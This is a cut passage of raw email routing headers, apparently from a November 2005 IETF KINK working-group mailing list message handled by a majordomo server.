ESMTP id jA1NqC4O009582; Tue, 1 Nov 2005 15:52:12 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id jA1NqCpE009581; Tue, 1 Nov 2005 15:52:12 -0800 (PST) X-Authentication-Warning: ab